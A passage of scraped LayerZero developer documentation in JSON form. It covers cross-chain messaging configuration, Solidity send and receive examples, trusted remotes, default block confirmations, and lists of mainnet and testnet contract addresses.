specified, the transactions will be sent to Gnosis. Usage: npx hardhat setConfig --networks ethereum,bsc,avalanche --name OFT --config-path \"./appConfig.json\" --gnosis-config-path \"./gnosisConfig.json\" Below is an example of the application configuration { \"ethereum\" : { \"address\" : \"\" , \"name\" : \"ProxyOFT\" , \"sendVersion\" : 2 , \"receiveVersion\" : 2 , \"remoteConfigs\" : [ { \"remoteChain\" : \"bsc\" , \"inboundProofLibraryVersion\" : 1 , \"inboundBlockConfirmations\" : 20 , \"relayer\" : \"0x902F09715B6303d4173037652FA7377e5b98089E\" , \"outboundProofType\" : 1 , \"outboundBlockConfirmations\" : 15 , \"oracle\" : \"0x5a54fe5234E811466D5366846283323c954310B2\" }, { \"remoteChain\" : \"avalanche\" , \"inboundProofLibraryVersion\" : 1 , \"inboundBlockConfirmations\" : 12 , \"relayer\" : \"0x902F09715B6303d4173037652FA7377e5b98089E\" , \"outboundProofType\" : 1 , \"outboundBlockConfirmations\" : 15 , \"oracle\" : \"0x5a54fe5234E811466D5366846283323c954310B2\" } ] }, \"bsc\" : { \"address\" : \"0x0702c7B1b18E5EBf022e17182b52F0AC262A8062\" , \"name\" : \"\" , \"sendVersion\" : 2 , \"receiveVersion\" : 2 , \"remoteConfigs\" : [ { \"remoteChain\" : \"ethereum\" , \"inboundProofLibraryVersion\" : 1 , \"inboundBlockConfirmations\" : 15 , \"relayer\" : \"0xA27A2cA24DD28Ce14Fb5f5844b59851F03DCf182\" , \"outboundProofType\" : 1 , \"outboundBlockConfirmations\" : 20 , \"oracle\" : \"0x5a54fe5234E811466D5366846283323c954310B2\" } ] } } The top level elements represent chains the contracts are deployed to. The configuration section for each chain has the following fields: address - the contract address. An optional parameter. It should be provided if no address was specified in the task parameters. name - the contract name. An optional parameter. It should be provided only if the contract was deployed using hardhat-deploy and the deployment information is located in the deployments folder. sendVersion - the version of a messaging library contract used to send messages. If it isn't specified, the default version will be used. receiveVersion - the version of a messaging library contract used to receive messages. If it isn't specified, the default version will be used. remoteConfigs - an array of configuration settings for remote chains. The configuration section for each chain has the following fields: remoteChain - the remote chain name. inboundProofLibraryVersion - the version of proof library for inbound messages. inboundBlockConfirmations - the number of block confirmations for inbound messages. relayer - the address of Relayer contract. outboundProofType - proof type used for outbound messages. outboundBlockConfirmations - the number of block confirmations for outbound messages. oracle - the address of the Oracle contract. Below is an example of the Gnosis configuration { \"ethereum\" : { \"safeAddress\" : \"0xa36B7e7894aCfaa6c35A8A0EC630B71A6B8A6D22\" , \"url\" : \"https://safe-transaction.mainnet.gnosis.io/\" }, \"bsc\" : { \"safeAddress\" : \"0x4755D44c1C196dC524848200B0556A09084D1dFD\" , \"url\" : \"https://safe-transaction.bsc.gnosis.io/\" }, \"avalanche\" : { \"safeAddress\" : \"0x4FF2C33FD9042a76eaC920C037383E51659417Ee\" , \"url\" : \"https://safe-transaction.avalanche.gnosis.io/\" } } For each chain you need to specify your Gnosis safe address and Gnosis Safe API url. You can find the list of supported chains and API urls in Gnosis Safe documentation . EVM Guides - Previous LayerZero Tooling Next Wire Up Configuration Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Wire Up Configuration", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling/wire-up-configuration", "body": "Wire Up Configuration Describes the available config options in the wireUpConfig.json Available configuration options To use the LayerZero wire up configuration please correctly fill in your wireUpConfig.json { \"proxyContractConfig\" { \"chain\" : \"avalanche\" , \"name\" : \"ProxyOFT\" }, \"contractConfig\" { \"name\" : \"OFT\" }, \"chainConfig\" : { \"avalanche\" : { \"defaultFeeBp\" : 2 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"ethereum\" : { \"feeBpConfig\" : { \"feeBp\" : 5 , \"enabled\" : true }, \"minDstGasConfig\" : [ 100000 , 200000 ] }, \"polygon\" : { \"minDstGasConfig\" : [ 100000 , 160000 ] } } } } } The proxyContractConfig is an optional setting, that defines the proxy chain and proxy contract name. chain : An optional string, defines the proxy chain. name : An optional string, defines the proxy contract name. address : A optional string, defines the contract address. Used when deployments folder are not available. Uses standard LzApp/Nonblocking/OFT/ONFT abi calls such as: function setFeeBp(uint16, bool, uint16) function setDefaultFeeBp(uint16) function setMinDstGas(uint16, uint16, uint) function setUseCustomAdapterParams(bool) function setTrustedRemote(uint16, bytes) The contractConfig is a conditionally required setting, that defines the contract name. name : A conditionally required string, defines the contract name. Used when all contract names are the same on all chains, excluding proxy. The chainConfig : is required and defines the chain settings (default fees, useCustomAdapterParams) and the remote chain configs (minDstGas config based of packetType, and custom feeBP per chain) name : A conditionally required string, defines the contract name. Used when contract names differ per chain. address : A conditionally required string, defines the contract address. Used when deployments folder are not available. Uses standard LzApp/Nonblocking/OFT/ONFT abi calls. defaultFeeBp : An optional number, defines the default fee bp for the chain. (Available in OFTV2 w/ fee .) useCustomAdapterParams : An optional bool that defaults to false . Uses default 200k destination gas on all cross chain messages. When false adapter parameters must be empty. When useCustomAdapterParams is true the minDstGasLookup must be set for each packet type and each chain . This requires whoever calls the send function to provide the adapter params with a destination gas >= amount set for that packet type and that destination chain. The remoteNetworkConfig is a required setting that defines the remote chain configs (minDstGas config based on packetType, and custom feeBP per chain) minDstGasConfig : is an optional array of numbers that defines the minDstGas required based off packetType. In the example above minDstGasConfig has a length of 2 with the indexes representing the packet type. So for example when the UA on Avalanche sends packet type 0 to Ethereum the minDstGas will be 100000. When the UA on Avalanche sends packet type 1 to Polygon the minDstGas will be 160000. The feeBpConfig is an optional setting that defines custom feeBP per chain. ( Note: setting custom fee per chain with enabled = TRUE, will triumph over defaultFeeBp.) feeBp : is an optional number, defines custom feeBP per chain. enabled : is an optional bool, defines if custom feeBP per chain is enabled Example wireUpConfigs Example 1: { \"contractConfig\" { \"name\" : \"OFT\" }, \"fuji\" : { \"defaultFeeBp\" : 5 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"arbitrum-goerli\" : { \"minDstGasConfig\" : [ 2000000 , 3200000 ] }, \"bsc-testnet\" : { \"minDstGasConfig\" : [ 100000 , 160000 ] } } } } This configuration is setting a defaultFeeBp of 5 for all transactions on fuji. This configuration is also setting the minDstGasLookup based on packet types. The minDstGasConfig has a length of 2 with the indexes representing the packet type. So for example when the UA on fuji sends packet type 0 to arbitrum-goerli the minDstGas will be 2000000. When the UA on fuji sends packet type 1 to bsc-testnet the minDstGas will be 160000. Example 2: { \"proxyContractConfig\" : { \"chain\" : \"fuji\" , \"name\" : \"ExampleProxyOFTV2\" } \"chainConfig\" : { \"fuji\" : { \"remoteNetworkConfig\" : { \"arbitrum-goerli\" : { \"feeBpConfig\" : { \"enabled\" : true , \"feeBp\" : 2 } }, \"bsc-testnet\" : { \"feeBpConfig\" : { \"enabled\" : true , \"feeBp\" : 3 } } } }, \"bsc-testnet\" : { \"name\" : \"BscOFTV2\" , \"remoteNetworkConfig\" : { \"arbitrum-goerli\" : { \"feeBpConfig\" : { \"feeBp\" : 5 , \"enabled\" : true } }, \"fuji\" : { \"feeBpConfig\" : { \"feeBp\" : 4 , \"enabled\" : true } } } }, \"arbitrum-goerli\" : { \"name\" : \"ArbitrumOFTV2\" , \"remoteNetworkConfig\" : { \"bsc-testnet\" : { \"feeBpConfig\" : { \"feeBp\" : 1 , \"enabled\" : true } }, \"fuji\" : { \"feeBpConfig\" : { \"feeBp\" : 2 , \"enabled\" : true } } } } } } This configuration uses name per chain because each chain has a different contract name. This configuration is setting a custom bp fee per pathway instead of a defaultFeeBp. This configuration is not using custom adapter params and is opting into the default 200000 gas . Example 3: { \"proxyContractConfig\" : { \"chain\" : \"fuji\" , \"address\" : \"0x0000000000000000000000000000000000000000\" }, \"chainConfig\" : { \"fuji\" : { \"defaultFeeBp\" : 0 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"bsc-testnet\" : { \"feeBpConfig\" : { \"enabled\" : false , \"feeBp\" : 0 }, \"minDstGasConfig\" : [ 100000 , 160000 ] } } }, \"bsc-testnet\" : { \"address\" : \"0x0000000000000000000000000000000000000000\" , \"defaultFeeBp\" : 0 , \"useCustomAdapterParams\" : true , \"remoteNetworkConfig\" : { \"fuji\" : { \"feeBpConfig\" : { \"feeBp\" : 0 , \"enabled\" : false }, \"minDstGasConfig\" : [ 100000 , 160000 ] } } } } } This configuration uses address per chain and relys on the contracts containing the following ABI's: function setTrustedRemote(uint16, bytes) function setUseCustomAdapterParams(bool) function setMinDstGas(uint16, uint16, uint) function setDefaultFeeBp(uint16) function setFeeBp(uint16, bool, uint16) Previous UA Configuration Next - EVM Guides Omnichain Governance Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Send Messages", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master/how-to-send-a-message", "body": "Send Messages Use LayerZero to send a bytes payload from one chain to another. To send a message, call the Endpoint's send() function. Initiate the send() function in your contracts (similar to the CounterMock ) to send a cross chain message. // an endpoint is the contract which has the send() function ILayerZeroEndpoint public endpoint ; // remote address concated with local address packed into 40 bytes bytes memory remoteAndLocalAddresses = abi . encodePacked ( remoteAddress , localAddress ); // call send() to send a message/payload to another chain endpoint . send { value : msg . value }( 10001 , // destination LayerZero chainId remoteAndLocalAddresses , // send to this address on the destination bytes ( \"hello\" ), // bytes payload msg . sender , // refund address address ( 0x0 ), // future parameter bytes ( \"\" ) // adapterParams (see \"Advanced Features\") ); Here is an explanation of the endpoint.send() interface: // @notice send a LayerZero message to the specified address at a LayerZero endpoint specified by our chainId. // @param _dstChainId - the destination chain identifier // @param _remoteAndLocalAddresses - remote address concated with local address packed into 40 bytes // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send ( uint16 _dstChainId , bytes calldata _remoteAndLocalAddresses , bytes calldata _payload , address payable _refundAddress , address _zroPaymentAddress , bytes calldata _adapterParams ) external payable ; You will note in the topmost example we call send() with {value: msg.value} this is because send() requires a bit of native gas token so the relayer can complete the message delivery on the destination chain. If you don't set this value you might get this error when calling endpoint.send() Putting it into a more complete example, your User Application contract may look something like this: pragma solidity 0.8.4 ; pragma abicoder v2 ; import \"../lzApp/NonblockingLzApp.sol\" ; /// @title A LayerZero example sending a cross chain message from a source chain to a destination chain to increment a counter contract OmniCounter is NonblockingLzApp { uint public counter ; constructor ( address _lzEndpoint ) NonblockingLzApp ( _lzEndpoint ) {} function _nonblockingLzReceive ( uint16 , bytes memory , uint64 , bytes memory ) internal override { // _nonblockingLzReceive is how we provide custom logic to lzReceive() // in this case, increment a counter when a message is received. counter += 1 ; } function incrementCounter ( uint16 _dstChainId ) public payable { // _lzSend calls endpoint.send() _lzSend ( _dstChainId , bytes ( \"\" ), payable ( msg . sender ), address ( 0x0 ), bytes ( \"\" )); } } There you have it! Call incrementCounter() to send a LayerZero message to another chain. See the next section for how to handle receiving the message by implementing lzReceive() and also see how to execute any smart contract logic on the destination. Putting together a full User Application contract simply means implementing a way to call endpoint.send() and ensuring lzReceive() is overridden to handle receiving messages (see ILayerZeroReceiver.sol for the lzReceive() interface) OmniChainToken is a slightly more complex example of a omnichain contract. Estimating Message Fees If you want to know how much {value: xxx} to give to the send() function to pay for you message please refer to this section on estimating fees . Adapter Parameters Also see advanced message features using Adapter Parameters (aka: _adapterParameters ) EVM Guides - Previous Getting Started Next Receive Messages Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Receive Messages", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master/receive-messages", "body": "Receive Messages Destination contracts must implement lzReceive() to handle incoming messages The code snippet explains how the message will be received. To receive a message, your User Application contract must implement the ILayerZeroReceiver interface and override the lzReceive() function pragma solidity >= 0.5.0 ; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive ( uint16 _srcChainId , bytes calldata _srcAddress , uint64 _nonce , bytes calldata _payload ) external ; } Below is a snippet that shows an implementation of lzReceive() . Here we demonstrate how to extract an address out of the payload and increment a counter each time this contract receives any message. UAs should authenticate the received messages with: the caller is the known LayerZero endpoint the srcAddress is a trusted known address on the _srcChain . If the application will connect non-evm chains, the UA should use bytes to store addresses. mapping ( address => uint ) public addrCounter ; mapping ( uint16 => bytes ) public trustedRemoteLookup ; // override from ILayerZeroReceiver.sol function lzReceive ( uint16 _srcChainId , bytes memory _srcAddress , uint64 _nonce , bytes memory _payload ) override external { require ( msg . sender == address ( endpoint )); require ( keccak256 ( _srcAddress ) == keccak256 ( trustedRemoteLookup [ _srcChainId ]); address fromAddress ; assembly { fromAddress := mload ( add ( _srcAddress , 20 )) } addrCounter [ fromAddress ] += 1 ; } Check the CounterMock for examples. Previous Send Messages Next Set Trusted Remotes Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Set Trusted Remotes", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/master/set-trusted-remotes", "body": "Set Trusted Remotes For a contract using LayerZero, a trusted remote is another contract it will accept messages from. What is a Trusted Remote? A trusted remote is the 40 bytes (for evm-to-evm messaging) that identifies another contract which you will receive messages from within your LayerZero User Application contract. The 40 bytes object is the packed bytes of the remoteAddress + localAddress The reason to care about Trusted Remotes is that from a security perspective contracts should only receive messages from known contracts. Hence, contracts are securely connected by \"setting trusted remotes\" The team has produced this GitHub Repository as an example of how to automate setting trusted remotes. 40 byte Format for EVM <> EVM, A Trusted Remote is 40 bytes. It is the REMOTE contract address concatenated with the LOCAL contract address. Solana, Aptos, et al. & 32 Byte Addresses For NON-evm chains with addresses that are not 20 bytes obviously the Trusted Remotes will not be exactly 40 bytes, but we will regularly use \"40 byte\" Trusted Remotes in the nomenclature. Generate TrustedRemote Using Ethers.js // the trusted remote (or sometimes referred to as the path or pathData) // is the packed 40 bytes object of the REMOTE + LOCAL user application contract addresses let trustedRemote = hre . ethers . utils . solidityPack ( [ 'address' , 'address' ], [ remoteContract . address , localContract . address ] ) Trusted Remote Usage: The Trusted Remote is now used in a few places. Here is a list of which functions expect the trusted remote format: Function Param Is it a trusted remote? Endpoint retryPayload() _srcAddress Endpoint hasStoredPayload() _srcAddress Endpoint forceResumeReceive() _srcAddress LzApp setTrustedRemote() _path LzApp isTrustedRemote() _srcAddress lzReceive() _srcAddress Previous Receive Messages Next - EVM Guides Advanced Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "UA Configuration Lock", "html_url": "https://layerzero.gitbook.io/docs/evm-guides/ua-custom-configuration/ua-configuration-lock", "body": "UA Configuration Lock UA's can lock their LayerZero App configurations for full control of config changes. For UAs that want to fully control their config changes & security settings, the below sections describe how to do so. Locking UA configuration guarantees that only UA owners can change their LZ app configs; UAs that opt-in to LayerZero defaults accept LayerZero's future changes to default configurations (i.e. best practice changes to block confirmations & proof libraries etc.) There are 8 settings to fully lock your UA configuration 2 settings on the Endpoint Send Version Receive Version 6 settings on each pathway Inbound Proof Library Inbound Block Confirmations Relayer Outbound Proof Type Outbound Block Confirmations Oracle Steps for locking UA Configuration 1. Set the send version and receive version of your UA on the LayerZero Endpoint. This locks you to a core library version, currently UltraLigntNodeV2. In the event new libraries are implemented, only UA owners can upgrade their core library version. 2. Per pathway, UAs can configure up to all 6 settings and can lock each of these settings individually. For example, if a UA wants a specific Oracle but prefers the defaults for the other 5 settings, the UA only needs to set its configuration for the Oracle. UAs preferring to lock all 6 settings can easily do so. Once locked, only UA owners can make future configuration changes. We provide an interface for UA contracts to set their ILayerZeroUserApplicationConfig . We also provide code snippets here . Note: To lock any of the 6 settings for each pathway, you MUST first lock send & receive versions to a core library. EVM Guides - Previous UA Custom Configuration Next - EVM Guides Code Examples Last modified 15d ago", "labels": ["Documentation"]}, {"title": "Default Config", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/default-config", "body": "Default Config To simplify writing a User Application contract, LayerZero does not require any configuration. In this case, a UA sending messages will be using the system defaults. Note: Should you choose to not manually set your configuration, the Default configuration will automatically be set for your application. The Default configuration is set and owned by the LayerZero Labs Multisig and may be updated in the future. The Default Configuration Oracle: Industry TSS Oracle (Polygon, Sequoia) Relayer: LayerZero Labs Library Version (send & receive): UltraLightNodeV2.sol Outbound Proof Type: 1, MPT Outbound Confirmations: Varies per source chain, see below Inbound Proof Library: 1, MPT Inbound Confirmation: Varies per source chain, see below Sending Messages Default _adapterParams Type: Version 1 Gas Amount: 200,000 // These are the default Block Confirmations waited by LayerZero before delivering messages const defaultBlockConfs = { [ ETHEREUM ] : 15 , [ BSC ] : 20 , [ AVALANCHE ] : 12 , [ POLYGON ] : 512 , [ ARBITRUM ] : 20 , [ OPTIMISM ] : 20 , [ FANTOM ] : 5 , [ DFK ] : 10 , [ HARMONY ] : 5 , [ MOONBEAM ] : 10 , [ APTOS ] : 500000 , [ CELO ] : 5 , [ DEXALOT ] : 10 , [ KLAYTN ] : 5 , [ METIS ] : 5 , [ FUSE ] : 5 , [ GNOSIS ] : 5 , [ COREDAO ] : 21 , [ OKX ] : 2 , [ DOS ] : 2 , [ SEPOLIA ] : 10 , [ ZKSYNC ] : 20 , [ ZKPOLYGON ] : 20 , [ MOONRIVER ] : 10 , [ METER ] : 2 , [ NOVA ] : 20 , [ TENET ] : 2 , [ CANTO ] : 2 , [ KAVA ] : 2 , } Transactions originating from the above chains should be delivered after a minimum of the specified source Block Confirmations Previous UltraLightNodeV2 And NonceContract Addresses Next Multisig Wallets Last modified 2mo ago", "labels": ["Documentation"]}, {"title": "LayerZero Labs Relayer.sol Addresses", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/layerzero-labs-relayer.sol-addresses", "body": "LayerZero Labs Relayer.sol Addresses The team operates and maintains a production Relayer for the protocol. Ethereum 0x902f09715b6303d4173037652fa7377e5b98089e BNB Chain 0xa27a2ca24dd28ce14fb5f5844b59851f03dcf182 Avalanche 0xcd2e3622d483c7dc855f72e5eafadcd577ac78b4 Polygon 0x75dc8e5f50c8221a82ca6af64af811caa983b65f Arbitrum 0x177d36dbe2271a4ddb2ad8304d82628eb921d790 Optimism 0x81e792e5a9003cc1c8bf5569a00f34b65d75b017 Fantom 0x52eea5c490fb89c7a0084b32feab854eeff07c82 DFK 0x473132bb594caef281c68718f4541f73fe14dc89 Harmony 0x7cbd185f21bef4d87310d0171ad5f740bc240e26 Dexalot 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Celo 0x15e51701f245f6d5bd0fee87bcaf55b0841451b3 Moonbeam 0xcccdd23e11f3f47c37fc0a7c3be505901912c6cc Fuse 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Gnosis 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Klaytn 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c Metis 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c CoreDAO 0xfe7c30860d01e28371d40434806f4a8fcdd3a098 OKT (OKX) 0xfe7c30860d01e28371d40434806f4a8fcdd3a098 Polygon zkEVM 0xa658742d33ebd2ce2f0bdff73515aa797fd161d9 Canto 0x5b19bd330a84c049b62d5b0fc2ba120217a18c1c zkSync Era 0x9923573104957bf457a3c4df0e21c8b389dd43df Moonriver 0xe9ae261d3aff7d3fccf38fa2d612dd3897e07b2d Tenet 0xaab5a48cfc03efa9cc34a2c1aacccb84b4b770e4 Arbitrum Nova 0xa658742d33ebd2ce2f0bdff73515aa797fd161d9 Meter.io 0x442b4bef4d1df08ebbff119538318e21b3c61eb9 Base 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Linea 0xA658742d33ebd2ce2F0bdFf73515Aa797Fd161D9 Previous Mainnet Addresses Next UltraLightNodeV2 And NonceContract Addresses Last modified 23d ago", "labels": ["Documentation"]}, {"title": "Multisig Wallets", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/multisig-wallets", "body": "Multisig Wallets Multisigs Ethereum 0xCDa8e3ADD00c95E5035617F970096118Ca2F4C92 BNB 0x8D452629c5FfCDDE407069da48c096e1F8beF22c Avalanche 0xcE958C3Fb6fbeCAA5eef1E4dAbD13418bc1ba483 Polygon 0xF1a5F92F5F89e8b539136276f827BF1648375312 Arbitrum 0xFE22f5D2755b06b9149656C5793Cb15A08d09847 Optimism 0x2458BAAbfb21aE1da11D9dD6AD4E48aB2fBF9959 Fantom 0x42A36d2E002E38805109905db20FDB7a0B9e481c Metis 0xF7715218344c32Efbf93F81C4C178B2dA0b3b12D Previous Default Config Next - Technical Reference LayerZero Interfaces Last modified 5mo ago", "labels": ["Documentation"]}, {"title": "Mainnet Addresses", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/supported-chain-ids", "body": "Mainnet Addresses The omnichain contracts for sending messages Official Endpoint Addresses These are the mainnet contract addresses of the contracts on which you would call send() See testnet here to play around. Note: chainId values are not related to EVM ids. Since LayerZero will span EVM & non-EVM chains the chainId are proprietary to our Endpoints. Ethereum chainId : 101 endpoint : 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 BNB Chain chainId : 102 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Avalanche chainId : 106 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Aptos chainId : 108 endpoint : 0x54ad3d30af77b60d939ae356e6606de9a4da67583f02b962d2d3f2e481484e90 layerzero_apps: 0x43d8cad89263e6936921a0adb8d5d49f0e236c229460f01b14dca073114df2b9 Polygon chainId : 109 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Arbitrum chainId : 110 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Optimism chainId : 111 endpoint : 0x3c2269811836af69497E5F486A85D7316753cf62 Fantom chainId : 112 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 DFK chainId : 115 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Harmony chainId : 116 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Dexalot chainId : 118 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Celo chainId : 125 endpoint : 0x3A73033C0b1407574C76BdBAc67f126f6b4a9AA9 Moonbeam chainId : 126 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Fuse chainId : 138 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Gnosis chainId : 145 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Klaytn chainId : 150 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Metis chainId : 151 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 CoreDAO chainId : 153 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 OKT (OKX) chainId : 155 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Polygon zkEVM chainId : 158 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 Canto chainId : 159 endpoint : 0x9740FF91F1985D8d2B71494aE1A2f723bb3Ed9E4 zkSync Era chainId : 165 endpoint : 0x9b896c0e23220469C7AE69cb4BbAE391eAa4C8da Moonriver chainId : 167 endpoint : 0x7004396C99D5690da76A7C59057C5f3A53e01704 Tenet chainId : 173 endpoint : 0x2D61DCDD36F10b22176E0433B86F74567d529aAa Arbitrum Nova chainId : 175 endpoint : 0x4EE2F9B7cf3A68966c370F3eb2C16613d3235245 Meter.io chainId : 176 endpoint : 0xa3a8e19253Ab400acDac1cB0eA36B88664D8DedF Sepolia This endpoint is connected to Ethereum, Arbitrum, Optimism only on mainnet. chainId : 161 endpoint : 0x7cacBe439EaD55fa1c22790330b12835c6884a91 Kava chainId : 177 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Linea chainId : 183 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Base chainId : 184 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Mantle chainId : 181 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Loot chainId : 197 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 MeritCircle (aka Beam) chainId : 198 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Zora chainId : 195 endpoint : 0xb6319cC6c8c27A8F5dAF0dD3DF91EA35C4720dd7 Technical Reference - Previous Mainnet Next LayerZero Labs Relayer.sol Addresses Last modified 27d ago", "labels": ["Documentation"]}, {"title": "UltraLightNodeV2 And NonceContract Addresses", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/mainnet/ultralightnodev2-and-noncecontract-addresses", "body": "UltraLightNodeV2 And NonceContract Addresses Ethereum UltraLightNodeV2.sol: 0x4d73adb72bc3dd368966edd0f0b2148401a178e2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 BNB Chain UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Avalanche UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Polygon UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Arbitrum UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Optimism UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Fantom UltraLightNode.sol: 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2 NonceContract.sol: 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068 Metis UltraLightNode.sol: 0x38dE71124f7a447a01D67945a51eDcE9FF491251 NonceContract.sol: 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Base UltraLightNode.sol: 0x38dE71124f7a447a01D67945a51eDcE9FF491251 NonceContract.sol: 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Linea UltraLightNode.sol: 0x38dE71124f7a447a01D67945a51eDcE9FF491251 NonceContract.sol: 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675 Table below shows the default send and receive versions which correspond to the UltraLightNodeV2.sol. It is send/recv version 2 for earlier deployments, and 1 for more recently supported chains. UltraLightNodeV2.sol is the default send & receive version for all chains Previous LayerZero Labs Relayer.sol Addresses Next Default Config Last modified 22d ago", "labels": ["Documentation"]}, {"title": "Deprecated Libraries", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/proof-types/deprecated-libraries", "body": "Deprecated Libraries These libraries are deprecated. Please use V2. NETWORK UltraLightNode (Messaging Library V1) Ethereum Validation Library V1 BNB Validation Library V1 Avalanche Validation Library V1 Polygon Validation Library V1 Arbitrum Validation Library V1 Optimism Validation Library V1 Fantom Validation Library V1 Technical Reference - Previous Proof Types Next - Technical Reference Audits Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Default Config", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/testnet/default-config", "body": "Default Config User Applications default configuration To simplify writing a User Application contract, LayerZero does not require any configuration. In this case, a UA sending messages will be using the system defaults. The Default Configuration Oracle: Industry TSS Oracle (Polygon, Sequoia) Relayer: LayerZero Labs Library Version: 1 Outbound Proof Type: 1, MPT Outbound Confirmations: 4 Inbound Proof Library: 1, MPT Inbound Confirmation: 4 Sending messages Default _adapterParams Type: Version 1 Gas Amount: 200,000 Default Block Confirmation // These are the default amount of block confirmations waiting before delivering messages (TESTNET) const defaultBlockConfs = { [ ChainId . BSC_TESTNET ] : 5 , [ ChainId . FUJI ] : 6 , [ ChainId . MUMBAI ] : 10 , [ ChainId . FANTOM_TESTNET ] : 7 , [ ChainId . SWIMMER_TESTNET ] : 5 , [ ChainId . DFK_TESTNET ] : 1 , [ ChainId . HARMONY_TESTNET ] : 5 , [ ChainId . MOONBEAM_TESTNET ] : 3 , [ ChainId . CASTLECRUSH_TESTNET ] : 1 , [ ChainId . GOERLI ] : 3 , [ ChainId . ARBITRUM_GOERLI ] : 3 , [ ChainId . OPTIMISM_GOERLI ] : 3 , [ ChainId . INTAIN_TESTNET ] : 1 , [ ChainId . CELO_TESTNET ] : 1 , [ ChainId . FUSE_TESTNET ] : 1 , [ ChainId . APTOS_TESTNET ] : 10 , [ ChainId . DOS_TESTNET ] : 1 , [ ChainId . ZKSYNC_TESTNET ] : 10 , [ ChainId . SHRAPNEL_TESTNET ] : 1 , [ ChainId . KLAYTN_TESTNET ] : 1 , [ ChainId . METIS_TESTNET ] : 1 , [ ChainId . COREDAO_TESTNET ] : 1 , [ ChainId . GNOSIS_TESTNET ] : 1 , } Transactions originating from the above chains should be delivered after a minimum of the specified source Block Confirmations Previous Testnet Addresses Next - Technical Reference Mainnet Last modified 3mo ago", "labels": ["Documentation"]}, {"title": "Testnet Addresses", "html_url": "https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses", "body": "Testnet Addresses Supported Chains (Testnet)To send and receive messages, LayerZero endpoints use a chainId to identify different blockchains. Below is a table of the supported test networks along with their unique chainId.Review carefully. LayerZero assigns proprietary IDs to each chain. 